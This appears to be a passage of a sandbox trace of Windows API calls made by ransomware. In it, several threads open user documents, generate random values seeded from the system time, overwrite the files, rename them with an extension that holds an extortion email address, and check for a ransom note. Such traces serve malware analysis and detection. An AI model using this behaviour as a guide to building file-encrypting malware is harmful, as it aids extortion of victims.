FileInformation=0x11a8fe54, Length=0x28, FileInformationClass=0x4) returned 0x0 [0053.773] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40dcd0) returned 1 [0053.773] FlushFileBuffers (hFile=0xe9c) returned 1 [0053.774] CloseHandle (hObject=0xe9c) returned 1 [0053.774] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400618 [0053.774] wcscpy (in: _Dest=0x400618, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0053.774] wcscat (in: _Dest=0x400618, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0053.774] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0x20 [0053.774] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400618) returned 1 [0053.774] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x416ff0) returned 1 Thread: id = 858 os_tid = 0x1144 [0051.751] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\X40D_1yxA.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\x40d_1yxa.ots")) returned 0x20 [0051.751] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\X40D_1yxA.ots", dwFileAttributes=0x20) returned 1 [0053.068] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\X40D_1yxA.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\x40d_1yxa.ots"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xea0 [0053.068] GetFileSizeEx (in: hFile=0xea0, lpFileSize=0x15b0feac | out: lpFileSize=0x15b0feac*=17722) returned 1 [0053.068] SetFilePointerEx (in: hFile=0xea0, liDistanceToMove=0x4536, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.068] ReadFile (in: hFile=0xea0, lpBuffer=0x15b0fe30, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x15b0fe2c, lpOverlapped=0x0 | out: lpBuffer=0x15b0fe30*, lpNumberOfBytesRead=0x15b0fe2c*=0x4, lpOverlapped=0x0) returned 1 [0053.069] SetFilePointerEx (in: hFile=0xea0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.069] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429138 [0053.069] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429250 [0053.069] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4292c8 [0053.069] NtQuerySystemTime (in: CurrentTime=0x15b0fe0c | out: CurrentTime=0x15b0fe0c*=132174898170480000) returned 0x0 [0053.069] RtlRandomEx (in: Seed=0x15b0fe18 | out: Seed=0x15b0fe18) returned 0x6b330418 [0053.069] RtlRandomEx (in: Seed=0x15b0fe18 | out: Seed=0x15b0fe18) returned 0x37be0ced [0053.069] RtlRandomEx (in: Seed=0x15b0fe18 | out: Seed=0x15b0fe18) returned 0x2558a698 [0053.069] RtlRandomEx (in: Seed=0x15b0fe18 | out: Seed=0x15b0fe18) returned 0x4ebb07ee [0053.069] RtlRandomEx (in: Seed=0x15b0fe18 | out: Seed=0x15b0fe18) returned 0x67c517d8 [0053.069] RtlRandomEx (in: Seed=0x15b0fe18 | out: Seed=0x15b0fe18) returned 0x1e6936f8 [0053.069] RtlRandomEx (in: Seed=0x15b0fe18 | out: Seed=0x15b0fe18) returned 0x68d73201 [0053.069] RtlRandomEx (in: Seed=0x15b0fe18 | out: Seed=0x15b0fe18) returned 0x6a5aa6ed [0053.069] RtlRandomEx (in: Seed=0x15b0fe18 | out: Seed=0x15b0fe18) returned 0x4c8de100 [0053.069] RtlRandomEx (in: Seed=0x15b0fe18 | out: Seed=0x15b0fe18) returned 0x7ffeb7d3 [0053.069] RtlRandomEx (in: Seed=0x15b0fe18 | out: Seed=0x15b0fe18) returned 0x1ccab490 [0053.069] RtlRandomEx (in: Seed=0x15b0fe18 | out: Seed=0x15b0fe18) returned 0x407525c5 [0053.069] RtlRandomEx (in: Seed=0x15b0fe18 | out: Seed=0x15b0fe18) returned 0x5dca6237 [0053.070] RtlRandomEx (in: Seed=0x15b0fe18 | out: Seed=0x15b0fe18) returned 0x45a294ab [0053.070] RtlRandomEx (in: Seed=0x15b0fe18 | out: Seed=0x15b0fe18) returned 0x6eeeb3fd [0053.070] RtlRandomEx (in: Seed=0x15b0fe18 | out: Seed=0x15b0fe18) returned 0x5484cdda [0053.070] RtlRandomEx (in: Seed=0x15b0fe18 | out: Seed=0x15b0fe18) returned 0x11664b61 [0053.070] RtlRandomEx (in: Seed=0x15b0fe18 | out: Seed=0x15b0fe18) returned 0x6f953ed7 [0053.070] RtlRandomEx (in: Seed=0x15b0fe18 | out: Seed=0x15b0fe18) returned 0x5aedb6dc [0053.070] RtlRandomEx (in: Seed=0x15b0fe18 | out: Seed=0x15b0fe18) returned 0x2e46a2fc [0053.070] RtlRandomEx (in: Seed=0x15b0fe18 | out: Seed=0x15b0fe18) returned 0x68a20fd8 [0053.070] RtlRandomEx (in: Seed=0x15b0fe18 | out: Seed=0x15b0fe18) returned 0xe943490 [0053.070] RtlRandomEx (in: Seed=0x15b0fe18 | out: Seed=0x15b0fe18) returned 0x62819d07 [0053.070] RtlRandomEx (in: Seed=0x15b0fe18 | out: Seed=0x15b0fe18) returned 0x465c378a [0053.070] RtlRandomEx (in: Seed=0x15b0fe18 | out: Seed=0x15b0fe18) returned 0x411b7866 [0053.070] RtlRandomEx (in: Seed=0x15b0fe18 | out: Seed=0x15b0fe18) returned 0x6480f5fc [0053.070] RtlRandomEx (in: Seed=0x15b0fe18 | out: Seed=0x15b0fe18) returned 0x303dbffe [0053.070] RtlRandomEx (in: Seed=0x15b0fe18 | out: Seed=0x15b0fe18) returned 0x79d184e4 [0053.070] RtlRandomEx (in: Seed=0x15b0fe18 | out: Seed=0x15b0fe18) returned 0x3f088a05 [0053.070] RtlRandomEx (in: Seed=0x15b0fe18 | out: Seed=0x15b0fe18) returned 0x1d6ae5c3 [0053.070] RtlRandomEx (in: Seed=0x15b0fe18 | out: Seed=0x15b0fe18) returned 0x66c465b8 [0053.070] RtlRandomEx (in: Seed=0x15b0fe18 | out: Seed=0x15b0fe18) returned 0x3e9fe6b8 [0053.084] ReadFile (in: hFile=0xea0, lpBuffer=0x19798a10, nNumberOfBytesToRead=0x453a, lpNumberOfBytesRead=0x15b0fe08, lpOverlapped=0x0 | out: lpBuffer=0x19798a10*, lpNumberOfBytesRead=0x15b0fe08*=0x453a, lpOverlapped=0x0) returned 1 [0053.085] SetFilePointerEx (in: hFile=0xea0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.085] WriteFile (in: hFile=0xea0, lpBuffer=0x197a5218*, nNumberOfBytesToWrite=0x453a, lpNumberOfBytesWritten=0x15b0fe04, lpOverlapped=0x0 | out: lpBuffer=0x197a5218*, lpNumberOfBytesWritten=0x15b0fe04*=0x453a, lpOverlapped=0x0) returned 1 [0053.481] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf5f0 [0053.481] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf618 [0053.481] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf618) returned 1 [0053.481] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x197a5218) returned 1 [0053.487] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19798a10) returned 1 [0053.491] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437b20) returned 1 [0053.491] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c360) returned 1 [0053.491] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x27) returned 0x97ce4f0 [0053.491] SetFilePointerEx (in: hFile=0xea0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.491] WriteFile (in: hFile=0xea0, lpBuffer=0x12d09e08*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x15b0fe6c, lpOverlapped=0x0 | out: lpBuffer=0x12d09e08*, lpNumberOfBytesWritten=0x15b0fe6c*=0x10b, lpOverlapped=0x0) returned 1 [0053.621] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d09e08) returned 1 [0053.621] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce520) returned 1 [0053.621] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf618) returned 1 [0053.621] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce4f0) returned 1 [0053.621] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf5f0) returned 1 [0053.621] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429250) returned 1 [0053.621] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4292f0) returned 1 [0053.621] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429318) returned 1 [0053.621] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb4) returned 0x5e02960 [0053.621] wcscpy (in: _Dest=0x5e02960, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\X40D_1yxA.ots" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\X40D_1yxA.ots") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\X40D_1yxA.ots" [0053.621] wcscat (in: _Dest=0x5e02960, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\X40D_1yxA.ots.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\X40D_1yxA.ots.mailto[2Hamlampampom@cock.li].cd46d" [0053.621] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\X40D_1yxA.ots.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x15b0fe24, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\X40D_1yxA.ots.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.621] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xca) returned 0x40dda8 [0053.816] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40dda8) returned 1 [0053.816] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a2930) returned 1 [0053.816] NtQueryInformationFile (in: FileHandle=0xea0, IoStatusBlock=0x15b0fe30, FileInformation=0x15b0fe08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x15b0fe30, FileInformation=0x15b0fe08) returned 0x0 [0053.816] NtSetInformationFile (FileHandle=0xea0, IoStatusBlock=0x15b0fe30, FileInformation=0x15b0fe08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0053.817] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02960) returned 1 [0053.817] FlushFileBuffers (hFile=0xea0) returned 1 [0053.827] CloseHandle (hObject=0xea0) returned 1 [0053.828] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x12e08e98 [0053.828] wcscpy (in: _Dest=0x12e08e98, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0053.828] wcscat (in: _Dest=0x12e08e98, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0053.828] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0x20 [0053.828] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e08e98) returned 1 [0053.828] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5d78) returned 1 Thread: id = 859 os_tid = 0x1148 [0051.751] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XO6Uc7RxdV.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xo6uc7rxdv.docx")) returned 0x20 [0051.752] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XO6Uc7RxdV.docx", dwFileAttributes=0x20) returned 1 [0053.085] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XO6Uc7RxdV.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xo6uc7rxdv.docx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xea4 [0053.085] GetFileSizeEx (in: hFile=0xea4, lpFileSize=0x159ffe14 | out: lpFileSize=0x159ffe14*=53796) returned 1 [0053.085] SetFilePointerEx (in: hFile=0xea4, liDistanceToMove=0xd220, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.085] ReadFile (in: hFile=0xea4, lpBuffer=0x159ffd98, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x159ffd94, lpOverlapped=0x0 | out: lpBuffer=0x159ffd98*, lpNumberOfBytesRead=0x159ffd94*=0x4, lpOverlapped=0x0) returned 1 [0053.086] SetFilePointerEx (in: hFile=0xea4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.086] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429138 [0053.086] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4292c8 [0053.086] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429340 [0053.086] NtQuerySystemTime (in: CurrentTime=0x159ffd74 | out: CurrentTime=0x159ffd74*=132174898170636000) returned 0x0 [0053.086] RtlRandomEx (in: Seed=0x159ffd80 | out: Seed=0x159ffd80) returned 0x49e63843 [0053.086] RtlRandomEx (in: Seed=0x159ffd80 | out: Seed=0x159ffd80) returned 0x6aafa52c [0053.086] RtlRandomEx (in: Seed=0x159ffd80 | out: Seed=0x159ffd80) returned 0x5c9a224f [0053.086] RtlRandomEx (in: Seed=0x159ffd80 | out: Seed=0x159ffd80) returned 0x3b34e41e [0053.086] RtlRandomEx (in: Seed=0x159ffd80 | out: Seed=0x159ffd80) returned 0xd403931 [0053.086] RtlRandomEx (in: Seed=0x159ffd80 | out: Seed=0x159ffd80) returned 0x7d299628 [0053.086] RtlRandomEx (in: Seed=0x159ffd80 | out: Seed=0x159ffd80) returned 0x2356e43b [0053.086] RtlRandomEx (in: Seed=0x159ffd80 | out: Seed=0x159ffd80) returned 0x44512c70 [0053.086] RtlRandomEx (in: Seed=0x159ffd80 | out: Seed=0x159ffd80) returned 0x5406b4ac [0053.086] RtlRandomEx (in: Seed=0x159ffd80 | out: Seed=0x159ffd80) returned 0x79934d0a [0053.086] RtlRandomEx (in: Seed=0x159ffd80 | out: Seed=0x159ffd80) returned 0xe8e1ab1 [0053.086] RtlRandomEx (in: Seed=0x159ffd80 | out: Seed=0x159ffd80) returned 0x2da7137 [0053.086] RtlRandomEx (in: Seed=0x159ffd80 | out: Seed=0x159ffd80) returned 0x11005846 [0053.086] RtlRandomEx (in: Seed=0x159ffd80 | out: Seed=0x159ffd80) returned 0x6d86570a [0053.086] RtlRandomEx (in: Seed=0x159ffd80 | out: Seed=0x159ffd80) returned 0x1ed4ddf6 [0053.086] RtlRandomEx (in: Seed=0x159ffd80 | out: Seed=0x159ffd80) returned 0x33971cfe [0053.087] RtlRandomEx (in: Seed=0x159ffd80 | out: Seed=0x159ffd80) returned 0x725a1427 [0053.087] RtlRandomEx (in: Seed=0x159ffd80 | out: Seed=0x159ffd80) returned 0xea9fb8b [0053.087] RtlRandomEx (in: Seed=0x159ffd80 | out: Seed=0x159ffd80) returned 0x5923af02 [0053.087] RtlRandomEx (in: Seed=0x159ffd80 | out: Seed=0x159ffd80) returned 0x4662fcad [0053.087] RtlRandomEx (in: Seed=0x159ffd80 | out: Seed=0x159ffd80) returned 0x18b9c72f [0053.087] RtlRandomEx (in: Seed=0x159ffd80 | out: Seed=0x159ffd80) returned 0xba6be0b [0053.087] RtlRandomEx (in: Seed=0x159ffd80 | out: Seed=0x159ffd80) returned 0x387b6c7 [0053.087] RtlRandomEx (in: Seed=0x159ffd80 | out: Seed=0x159ffd80) returned 0x3a018679 [0053.087] RtlRandomEx (in: Seed=0x159ffd80 | out: Seed=0x159ffd80) returned 0x12e2f538 [0053.087] RtlRandomEx (in: Seed=0x159ffd80 | out: Seed=0x159ffd80) returned 0x6ef0ba89 [0053.087] RtlRandomEx (in: Seed=0x159ffd80 | out: Seed=0x159ffd80) returned 0x249ae285 [0053.087] RtlRandomEx (in: Seed=0x159ffd80 | out: Seed=0x159ffd80) returned 0x2fa1466f [0053.087] RtlRandomEx (in: Seed=0x159ffd80 | out: Seed=0x159ffd80) returned 0x3aa7aa59 [0053.087] RtlRandomEx (in: Seed=0x159ffd80 | out: Seed=0x159ffd80) returned 0x45a0e6cd [0053.087] RtlRandomEx (in: Seed=0x159ffd80 | out: Seed=0x159ffd80) returned 0x7dccdedb [0053.087] RtlRandomEx (in: Seed=0x159ffd80 | out: Seed=0x159ffd80) returned 0x5ff04068 [0053.100] SetFilePointerEx (in: hFile=0xea4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.100] ReadFile (in: hFile=0xea4, lpBuffer=0x197b1a20, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x159ffd54, lpOverlapped=0x0 | out: lpBuffer=0x197b1a20*, lpNumberOfBytesRead=0x159ffd54*=0xc800, lpOverlapped=0x0) returned 1 [0053.100] SetFilePointerEx (in: hFile=0xea4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.100] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c3a8 [0053.100] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437b98 [0053.100] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429138 [0053.100] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429138) returned 1 [0053.101] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x197be228 [0053.105] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429138 [0053.105] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429340 [0053.105] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429340) returned 1 [0053.105] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437b98) returned 1 [0053.105] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c3a8) returned 1 [0053.105] WriteFile (in: hFile=0xea4, lpBuffer=0x197be228*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x159ffd54, lpOverlapped=0x0 | out: lpBuffer=0x197be228*, lpNumberOfBytesWritten=0x159ffd54*=0xc800, lpOverlapped=0x0) returned 1 [0053.493] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x197be228) returned 1 [0053.493] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x197b1a20) returned 1 [0053.493] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2b) returned 0x12d05100 [0053.493] SetFilePointerEx (in: hFile=0xea4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.493] WriteFile (in: hFile=0xea4, lpBuffer=0x196d0990*, nNumberOfBytesToWrite=0x10f, lpNumberOfBytesWritten=0x159ffdd4, lpOverlapped=0x0 | out: lpBuffer=0x196d0990*, lpNumberOfBytesWritten=0x159ffdd4*=0x10f, lpOverlapped=0x0) returned 1 [0053.622] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x196d0990) returned 1 [0053.622] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05138) returned 1 [0053.622] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf640) returned 1 [0053.622] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05100) returned 1 [0053.622] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429138) returned 1 [0053.622] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4292c8) returned 1 [0053.622] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429368) returned 1 [0053.623] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429390) returned 1 [0053.623] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb8) returned 0x5e02a20 [0053.623] wcscpy (in: _Dest=0x5e02a20, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XO6Uc7RxdV.docx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XO6Uc7RxdV.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XO6Uc7RxdV.docx" [0053.623] wcscat (in: _Dest=0x5e02a20, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XO6Uc7RxdV.docx.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XO6Uc7RxdV.docx.mailto[2Hamlampampom@cock.li].cd46d" [0053.623] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XO6Uc7RxdV.docx.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x159ffd8c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XO6Uc7RxdV.docx.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.623] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xce) returned 0x40de80 [0053.818] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40de80) returned 1 [0053.818] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a2b58) returned 1 [0053.818] NtQueryInformationFile (in: FileHandle=0xea4, IoStatusBlock=0x159ffd98, FileInformation=0x159ffd70, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x159ffd98, FileInformation=0x159ffd70) returned 0x0 [0053.818] NtSetInformationFile (FileHandle=0xea4, IoStatusBlock=0x159ffd98, FileInformation=0x159ffd70, Length=0x28, FileInformationClass=0x4) returned 0x0 [0053.819] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02a20) returned 1 [0053.819] FlushFileBuffers (hFile=0xea4) returned 1 [0053.829] CloseHandle (hObject=0xea4) returned 1 [0053.829] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x12e08e98 [0053.829] wcscpy (in: _Dest=0x12e08e98, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0053.829] wcscat (in: _Dest=0x12e08e98, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0053.829] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0x20 [0053.829] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e08e98) returned 1 [0053.829] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5df0) returned 1 Thread: id = 860 os_tid = 0x114c [0051.752] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XOtwIUWuu0s.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xotwiuwuu0s.pptx")) returned 0x20 [0051.752] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XOtwIUWuu0s.pptx", dwFileAttributes=0x20) returned 1 [0053.105] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XOtwIUWuu0s.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xotwiuwuu0s.pptx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xea8 [0053.106] GetFileSizeEx (in: hFile=0xea8, lpFileSize=0x15c7f988 | out: lpFileSize=0x15c7f988*=60044) returned 1 [0053.106] SetFilePointerEx (in: hFile=0xea8, liDistanceToMove=0xea88, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.106] ReadFile (in: hFile=0xea8, lpBuffer=0x15c7f90c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x15c7f908, lpOverlapped=0x0 | out: lpBuffer=0x15c7f90c*, lpNumberOfBytesRead=0x15c7f908*=0x4, lpOverlapped=0x0) returned 1 [0053.106] SetFilePointerEx (in: hFile=0xea8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.107] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429340 [0053.107] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4293b8 [0053.107] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4293e0 [0053.107] NtQuerySystemTime (in: CurrentTime=0x15c7f8e8 | out: CurrentTime=0x15c7f8e8*=132174898170948000) returned 0x0 [0053.107] RtlRandomEx (in: Seed=0x15c7f8f4 | out: Seed=0x15c7f8f4) returned 0x689d0676 [0053.107] RtlRandomEx (in: Seed=0x15c7f8f4 | out: Seed=0x15c7f8f4) returned 0x6c11888e [0053.107] RtlRandomEx (in: Seed=0x15c7f8f4 | out: Seed=0x15c7f8f4) returned 0x520b48a5 [0053.107] RtlRandomEx (in: Seed=0x15c7f8f4 | out: Seed=0x15c7f8f4) returned 0x3568e4f2 [0053.107] RtlRandomEx (in: Seed=0x15c7f8f4 | out: Seed=0x15c7f8f4) returned 0x780c4ffb [0053.107] RtlRandomEx (in: Seed=0x15c7f8f4 | out: Seed=0x15c7f8f4) returned 0x69da1cad [0053.107] RtlRandomEx (in: Seed=0x15c7f8f4 | out: Seed=0x15c7f8f4) returned 0x19940c99 [0053.107] RtlRandomEx (in: Seed=0x15c7f8f4 | out: 